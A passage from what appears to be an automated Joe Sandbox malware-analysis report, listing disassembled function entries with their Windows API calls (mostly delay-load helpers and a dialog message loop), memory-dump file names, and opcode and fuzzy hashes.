Instruction Fuzzy Hash: 6ED0A73121820C7ADF50BA748C13A7AFBA8DB04310F00C065BC0CC6141FD71DE10A671

Function 00D69989 Relevance: 1.5, APIs: 1, Instructions: 15COMMON

Download Yara Rule

APIs

GetFileType.KERNELBASE(000000FF,00D69887), ref: 00D69995

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID: FileType
String ID:
API String ID: 3081899298-0
Opcode ID: 7da1f3bba73b06e636cf38f669ffe530bdc6ba971ab68dd5d725faf2a147da90
Instruction ID: f0930f5cb171996b8e9868c7f61c8344196abb386d7d4f61f3e42bd474ce8007
Opcode Fuzzy Hash: 7da1f3bba73b06e636cf38f669ffe530bdc6ba971ab68dd5d725faf2a147da90
Instruction Fuzzy Hash: 64D01231011280978F394A344D19099B755DB83366B3CE6AAD025C40A1D733C803F961

Function 00D7D41A Relevance: 1.5, APIs: 1, Instructions: 13windowCOMMON

Download Yara Rule

APIs

SendDlgItemMessageW.USER32(0000006A,00000402,00000000,?,?), ref: 00D7D43F

Part of subcall function 00D7AC74: PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 00D7AC85
Part of subcall function 00D7AC74: GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00D7AC96
Part of subcall function 00D7AC74: IsDialogMessageW.USER32(0001042C,?), ref: 00D7ACAA
Part of subcall function 00D7AC74: TranslateMessage.USER32(?), ref: 00D7ACB8
Part of subcall function 00D7AC74: DispatchMessageW.USER32(?), ref: 00D7ACC2

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID: Message$DialogDispatchItemPeekSendTranslate
String ID:
API String ID: 897784432-0
Opcode ID: 9e4d44fcaaf59a4fc2677b7a9f9bca4a899698e8f389f7ceb36f18536383ff7c
Instruction ID: 43f9f5c236e4ce10a5ba1955825b7aa473c18cce8705a94b307421d9470d12ce
Opcode Fuzzy Hash: 9e4d44fcaaf59a4fc2677b7a9f9bca4a899698e8f389f7ceb36f18536383ff7c
Instruction Fuzzy Hash: 3AD09E31144301BBD6162B51DE06F1F7AA6EB88B04F004554B348B40B1C6A29D30AB36

Function 00D7D8DE Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00D7D8A3

Part of subcall function 00D7DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D7DFD6
Part of subcall function 00D7DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D7DFE7

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 17097ca10dccfe11fb623aab123b3a662397ae45425a9c9116f9a5d4fb46c0e7
Instruction ID: faeed1a487a1b297fa3498ee99b62c840150134575a9eaa62191df963a14e128
Opcode Fuzzy Hash: 17097ca10dccfe11fb623aab123b3a662397ae45425a9c9116f9a5d4fb46c0e7
Instruction Fuzzy Hash: AEB012A226C2026C320871047D03E36162DCCC1B20330C01FF48FD12C0F4409C084432

Function 00D7D8C0 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00D7D8A3

Part of subcall function 00D7DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D7DFD6
Part of subcall function 00D7DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D7DFE7

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: f56e9e033de43fd96e1dc6f890bc2a6322e0d126cb7b80068437285263e7c648
Instruction ID: 4f28a45d7a2a12902ed40103cdbc38f29fdb41ba3d523e016dad58509c972a62
Opcode Fuzzy Hash: f56e9e033de43fd96e1dc6f890bc2a6322e0d126cb7b80068437285263e7c648
Instruction Fuzzy Hash: 42B0129126C2426C324871047D03E36162DCCC0B20331C12FF04FD13C0F4409C8D4432

Function 00D7D8CA Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00D7D8A3

Part of subcall function 00D7DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D7DFD6
Part of subcall function 00D7DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D7DFE7

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: b18906f7455baac357f4644615b6aebce14c0091c9de7d2c55a2629332b2fcd7
Instruction ID: 5d01a11d8a0657f36c2dce196977f95d1f688d47d49c332676c7b8f24810f488
Opcode Fuzzy Hash: b18906f7455baac357f4644615b6aebce14c0091c9de7d2c55a2629332b2fcd7
Instruction Fuzzy Hash: B0B0129126C1026C320C75057E03E36162DCCC0B20330C02FF04FD13C0F4809C0E5432

Function 00D7D8F2 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00D7D8A3

Part of subcall function 00D7DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D7DFD6
Part of subcall function 00D7DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D7DFE7

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 77b49763e4ff6b6cdb2603ac421ec8b2300cebbf90faaa01aaa41ba5ea70bb7e
Instruction ID: 68eb83d5e7565c800cf5e8088429162ee19d4a19986f0fa5096090b59dcfe65f
Opcode Fuzzy Hash: 77b49763e4ff6b6cdb2603ac421ec8b2300cebbf90faaa01aaa41ba5ea70bb7e
Instruction Fuzzy Hash: 02B012A126C1026C320C71057E03E36162DCCC0B20330C01FF08FD12C0F4809D094432

Function 00D7D8FC Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00D7D8A3

Part of subcall function 00D7DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D7DFD6
Part of subcall function 00D7DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D7DFE7

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 1a5a1117fa207f62043195f72682d3c70caad2e6159f44d9c8ccd54bfb3c252a
Instruction ID: d5d31441835687fb5679566ff4d3971041bf051fbbe8b41ce962af2e07917c9c
Opcode Fuzzy Hash: 1a5a1117fa207f62043195f72682d3c70caad2e6159f44d9c8ccd54bfb3c252a
Instruction Fuzzy Hash: 03B012A126C1026C320C71057D03E36162DCCC0B20330C01FF08FD12C0F8409C084432

Function 00D7D8E8 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00D7D8A3

Part of subcall function 00D7DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D7DFD6
Part of subcall function 00D7DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D7DFE7

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: ddfd1637e0c781a85ff400d2b926c9127d77548f10d4b976e990d881a56b89de
Instruction ID: abd5154eb1e5548aa04dce0be0428ec3a944ee08fc25e9a8e47234088a1d87db
Opcode Fuzzy Hash: ddfd1637e0c781a85ff400d2b926c9127d77548f10d4b976e990d881a56b89de
Instruction Fuzzy Hash: 2BB012A126C2026C324871047D03E36162DCCC0B20331C11FF08FD12C0F4409C484432

Function 00D7D891 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00D7D8A3

Part of subcall function 00D7DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D7DFD6
Part of subcall function 00D7DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D7DFE7

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 3f2d0fb9711d414725142abe6fc6fc5930a981a6ae6c3e2fbd51e10e1cc167d5
Instruction ID: b96fd5a7f21dfa1979fd2f99a04b456529428e819934c253f74d15c9578c5aac
Opcode Fuzzy Hash: 3f2d0fb9711d414725142abe6fc6fc5930a981a6ae6c3e2fbd51e10e1cc167d5
Instruction Fuzzy Hash: 07B0929526C3026C260821406952D3B1629CC80B20321852EB04EA0180A4409C488432

Function 00D7D8B6 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00D7D8A3

Part of subcall function 00D7DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D7DFD6
Part of subcall function 00D7DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D7DFE7

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: eb6409b9d2c68d991b6ee8d991fa645f27f6131135510094cc9c89479ae6a02f
Instruction ID: 1aa383e5ba1583b737f6d686500e1192c5f2bc71b158ffc437c744dae50fd8df
Opcode Fuzzy Hash: eb6409b9d2c68d991b6ee8d991fa645f27f6131135510094cc9c89479ae6a02f
Instruction Fuzzy Hash: 8DB0129126C2026C320875047D03E36162DCCC1B20330C02FF44FD13C0F4409C0D4432

Function 00D7D8AC Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00D7D8A3

Part of subcall function 00D7DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D7DFD6
Part of subcall function 00D7DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D7DFE7

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 63918c3bd8acddcb8cec0eb48d184d76853c9b3a1261ecf16f3517ee4aca986d
Instruction ID: ed04698555ac8498363a9f36f00b6475b9730dcf226ca70eb29901dcf4e718dc
Opcode Fuzzy Hash: 63918c3bd8acddcb8cec0eb48d184d76853c9b3a1261ecf16f3517ee4aca986d
Instruction Fuzzy Hash: 79B012D526C2026C320871447D43E3B162DDCC0B20330C01FF04FD12C0F8409C084532

Function 00D7D942 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00D7D8A3

Part of subcall function 00D7DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D7DFD6
Part of subcall function 00D7DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D7DFE7

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: a0fcdc4a00daa29cd72322474a8158eefd96676871ed02236011024222746058
Instruction ID: 5dbc42b1651a11e6094f917cce065cd6688fbb72237c0aacbb0f3dbbc3b22480
Opcode Fuzzy Hash: a0fcdc4a00daa29cd72322474a8158eefd96676871ed02236011024222746058
Instruction Fuzzy Hash: 62B012E126C1026C320D71057E03E3616BDCCC0B20330C01FF04FD12C0F4809C094432

Function 00D7D910 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00D7D8A3

Part of subcall function 00D7DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D7DFD6
Part of subcall function 00D7DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D7DFE7

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 7e1abbff093cfe63799c5e4351ac1e56b69087ca541d739879e9570221146738
Instruction ID: 648a6bee2e9b95081b5a03cb6fa027a41c7734b59f722e6b19be2b353195a887
Opcode Fuzzy Hash: 7e1abbff093cfe63799c5e4351ac1e56b69087ca541d739879e9570221146738
Instruction Fuzzy Hash: E1B012A126D6026C324872047D03E36162FCCC0B20331C11FF04FD12C0F440DC484432

Function 00D7D906 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00D7D8A3

Part of subcall function 00D7DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D7DFD6
Part of subcall function 00D7DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D7DFE7

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 386bc4ebab6fb8b22d129ace31fa979e3def5666945df5506ada3c0b1fe65056
Instruction ID: 8d776ac90ff0905748a87bfc75feb013670f7c19dc6288f3508f7098a24ab319
Opcode Fuzzy Hash: 386bc4ebab6fb8b22d129ace31fa979e3def5666945df5506ada3c0b1fe65056
Instruction Fuzzy Hash: 20B012912AD6026C320871047D03E36162FCCC1B20330C01FF44FD12C0F4409C084432

Function 00D7D924 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00D7D8A3

Part of subcall function 00D7DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D7DFD6
Part of subcall function 00D7DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D7DFE7

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 094a949b57e6f6a48b76f49e1d38594f444a5bef3f3e8e4b1cefe4525b525101
Instruction ID: 9838c794a9f57ae96aca407e6f504d79c79cdb00d7d181d130788accd0cc9a3d
Opcode Fuzzy Hash: 094a949b57e6f6a48b76f49e1d38594f444a5bef3f3e8e4b1cefe4525b525101
Instruction Fuzzy Hash: BBB0129127D9026C320871047D03E36166FCCC0B20330C01FF04FD12C0F8409C084432

Function 00D7D92E Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00D7D8A3

Part of subcall function 00D7DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D7DFD6
Part of subcall function 00D7DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D7DFE7

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 19f371445fa7af67776b83f9fa7a930dccd65d4fb339fd6d11916efaa75a9405
Instruction ID: 3fd5b8ec4894a76c71e7afb97dad15f6bd798fe83a0568a2a7fde65c2e4fb5f3
Opcode Fuzzy Hash: 19f371445fa7af67776b83f9fa7a930dccd65d4fb339fd6d11916efaa75a9405
Instruction Fuzzy Hash: CEB0129126C2026C320971147D03E36167DCCC1B20331C01FF54FD12C0F5409C084432

Function 00D7DAD9 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00D7DAB2

Part of subcall function 00D7DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D7DFD6
Part of subcall function 00D7DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D7DFE7

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
